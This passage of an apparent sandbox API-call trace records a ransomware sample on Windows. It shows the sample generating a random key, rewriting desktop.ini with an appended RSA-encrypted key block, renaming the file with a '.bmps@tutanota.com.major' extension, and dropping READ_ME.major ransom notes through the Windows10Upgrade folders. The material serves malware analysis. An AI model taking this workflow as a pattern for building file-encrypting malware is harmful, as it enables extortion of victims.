ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfeef92c0, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0129.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0129.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0129.106] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.106] SetFileAttributesW (lpFileName="\\Users\\desktop.ini", dwFileAttributes=0x80) returned 1 [0129.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb30 [0129.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0129.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0129.107] CreateFileW (lpFileName="\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0129.107] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=174) returned 1 [0129.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xae) returned 0x57e1d0 [0129.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xae) returned 0x2e40f20 [0129.107] ReadFile (in: hFile=0x46c, lpBuffer=0x57e1d0, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57e1d0*, lpNumberOfBytesRead=0x2e3f9b4*=0xae, lpOverlapped=0x0) returned 1 [0129.108] SetFilePointer (in: hFile=0x46c, lDistanceToMove=-174, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.108] WriteFile (in: hFile=0x46c, lpBuffer=0x2e40f20*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40f20*, lpNumberOfBytesWritten=0x2e3f9b4*=0xae, lpOverlapped=0x0) returned 1 [0129.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0129.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0129.108] SetFilePointer (in: hFile=0x46c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xae [0129.108] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.108] WriteFile (in: hFile=0x46c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.108] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.108] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.108] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.108] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="tSSBYoTCgXAtwI3lXzrQw8hqnvF8Ztx+UkkqxUe0oDVTZh4DtpKPvIMrVFfbAj0p\nrFe7Me4fRP51Km9oqF/dRSWnB+UJXeoO1uW5HBT7vLw8C6HLZ4HFkZ2ozwXmmFpQ\nYC9TOUMxnz8GnQRNXOAxaxwX/7H6N45aIK70HJMKMrBIo0PGVQv8s4FuG57esGnJ\nb5eR3VuQbD7iDmjaBPuYnxANf5E1re9t+vQQ3T1wFLtOFN8wNifjZlM5B8XiLhGa\neUDPxWklstmjK5B/qCpGfhNGsYWuzR617E3Okw7LCD7IgqCKQbKfYHxmqFI5wMlt\n8XVgCIIPZoSuPDHEQ+anpA==\n", pcchString=0x2e3f9a8) returned 1 [0129.108] WriteFile (in: hFile=0x46c, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.109] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.109] WriteFile (in: hFile=0x46c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.109] CloseHandle (hObject=0x46c) returned 1 [0129.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.109] MoveFileExW (lpExistingFileName="\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), lpNewFileName="\\Users\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0129.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0129.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0129.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0129.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0129.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0129.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4710 | out: hHeap=0x570000) returned 1 [0129.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0129.115] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xff2404fe, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a3510 [0129.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.177] GetLastError () returned 0x0 [0129.177] SetLastError (dwErrCode=0x0) [0129.177] GetLastError () returned 0x0 [0129.177] SetLastError (dwErrCode=0x0) [0129.177] GetLastError () returned 0x0 [0129.177] SetLastError (dwErrCode=0x0) [0129.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0129.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0129.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0129.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0129.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3290 [0129.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3290 | out: hHeap=0x570000) returned 1 [0129.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0129.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0129.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0129.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0129.177] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xff2404fe, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0129.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0129.178] GetLastError () returned 0x0 [0129.178] SetLastError (dwErrCode=0x0) [0129.178] GetLastError () returned 0x0 [0129.178] SetLastError (dwErrCode=0x0) [0129.178] GetLastError () returned 0x0 [0129.178] SetLastError (dwErrCode=0x0) [0129.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0129.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0129.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0129.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0129.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3450 [0129.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3450 | out: hHeap=0x570000) returned 1 [0129.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0129.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0129.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0129.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0129.178] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea355be9, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="2052", cAlternateFileName="")) returned 1 [0129.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0129.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.178] GetLastError () returned 0x0 [0129.178] SetLastError (dwErrCode=0x0) [0129.178] GetLastError () returned 0x0 [0129.178] SetLastError (dwErrCode=0x0) [0129.178] GetLastError () returned 0x0 [0129.178] SetLastError (dwErrCode=0x0) [0129.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0129.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0129.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec80 [0129.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2a0 [0129.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0129.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0129.179] GetLastError () returned 0x0 [0129.179] SetLastError (dwErrCode=0x0) [0129.179] GetLastError () returned 0x0 [0129.179] SetLastError (dwErrCode=0x0) [0129.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0129.179] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0129.179] GetLastError () returned 0x0 [0129.179] SetLastError (dwErrCode=0x0) [0129.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0129.179] CreateFileW (lpFileName="\\Windows10Upgrade\\2052\\READ_ME.major" (normalized: "c:\\windows10upgrade\\2052\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0129.180] WriteFile (in: hFile=0x470, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0129.181] CloseHandle (hObject=0x470) returned 1 [0129.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0129.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0129.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0129.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0129.182] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3659ec, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3659ec, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x704c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="appraiserxp.dll", cAlternateFileName="APPRAI~1.DLL")) returned 1 [0129.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.182] GetLastError () returned 0x0 [0129.182] SetLastError (dwErrCode=0x0) [0129.182] GetLastError () returned 0x0 [0129.182] SetLastError (dwErrCode=0x0) [0129.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0129.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.182] GetLastError () returned 0x0 [0129.182] SetLastError (dwErrCode=0x0) [0129.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0129.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0129.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0129.182] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea36cf08, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea36cf08, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x1cec8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootsect.exe", cAlternateFileName="")) returned 1 [0129.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0129.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.182] GetLastError () returned 0x0 [0129.182] SetLastError (dwErrCode=0x0) [0129.182] GetLastError () returned 0x0 [0129.182] SetLastError (dwErrCode=0x0) [0129.182] GetLastError () returned 0x0 [0129.182] SetLastError (dwErrCode=0x0) [0129.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0129.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0129.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0129.183] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea350dad, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea350dad, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xb08c3ee, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Configuration.ini", cAlternateFileName="CONFIG~1.INI")) returned 1 [0129.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.183] GetLastError () returned 0x0 [0129.183] SetLastError (dwErrCode=0x0) [0129.183] GetLastError () returned 0x0 [0129.183] SetLastError (dwErrCode=0x0) [0129.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0129.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.183] GetLastError () returned 0x0 [0129.183] SetLastError (dwErrCode=0x0) [0129.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecf0 [0129.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecf0 | out: hHeap=0x570000) returned 1 [0129.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0129.183] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea36e29e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea36e29e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xf0c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cosquery.dll", cAlternateFileName="")) returned 1 [0129.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0129.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.183] GetLastError () returned 0x0 [0129.183] SetLastError (dwErrCode=0x0) [0129.183] GetLastError () returned 0x0 [0129.183] SetLastError (dwErrCode=0x0) [0129.183] GetLastError () returned 0x0 [0129.183] SetLastError (dwErrCode=0x0) [0129.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0129.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0129.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0129.183] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea370998, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea370998, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x508c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DevInv.dll", cAlternateFileName="")) returned 1 [0129.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.184] GetLastError () returned 0x0 [0129.184] SetLastError (dwErrCode=0x0) [0129.184] GetLastError () returned 0x0 [0129.184] SetLastError (dwErrCode=0x0) [0129.184] GetLastError () returned 0x0 [0129.184] SetLastError (dwErrCode=0x0) [0129.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0129.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0129.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0129.184] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea377ed3, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="dll1", cAlternateFileName="")) returned 1 [0129.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.184] GetLastError () returned 0x0 [0129.184] SetLastError (dwErrCode=0x0) [0129.184] GetLastError () returned 0x0 [0129.184] SetLastError (dwErrCode=0x0) [0129.184] GetLastError () returned 0x0 [0129.184] SetLastError (dwErrCode=0x0) [0129.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0129.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0129.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0129.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0129.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0129.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7c30 [0129.184] GetLastError () returned 0x0 [0129.184] SetLastError (dwErrCode=0x0) [0129.184] GetLastError () returned 0x0 [0129.184] SetLastError (dwErrCode=0x0) [0129.185] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0129.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7c30 | out: hHeap=0x570000) returned 1 [0129.185] GetLastError () returned 0x0 [0129.185] SetLastError (dwErrCode=0x0) [0129.185] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0129.185] CreateFileW (lpFileName="\\Windows10Upgrade\\dll1\\READ_ME.major" (normalized: "c:\\windows10upgrade\\dll1\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0129.291] WriteFile (in: hFile=0x470, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0129.292] CloseHandle (hObject=0x470) returned 1 [0129.292] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0129.292] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0129.292] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0129.292] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0129.292] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37cd05, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="dll2", cAlternateFileName="")) returned 1 [0129.292] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.292] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.292] GetLastError () returned 0x0 [0129.292] SetLastError (dwErrCode=0x0) [0129.292] GetLastError () returned 0x0 [0129.292] SetLastError (dwErrCode=0x0) [0129.292] GetLastError () returned 0x0 [0129.292] SetLastError (dwErrCode=0x0) [0129.292] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef58 [0129.292] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0129.292] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0129.292] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0129.292] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0129.292] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d98 [0129.293] GetLastError () returned 0x0 [0129.293] SetLastError (dwErrCode=0x0) [0129.293] GetLastError () returned 0x0 [0129.293] SetLastError (dwErrCode=0x0) [0129.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0129.293] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d98 | out: hHeap=0x570000) returned 1 [0129.293] GetLastError () returned 0x0 [0129.293] SetLastError (dwErrCode=0x0) [0129.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0129.293] CreateFileW (lpFileName="\\Windows10Upgrade\\dll2\\READ_ME.major" (normalized: "c:\\windows10upgrade\\dll2\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 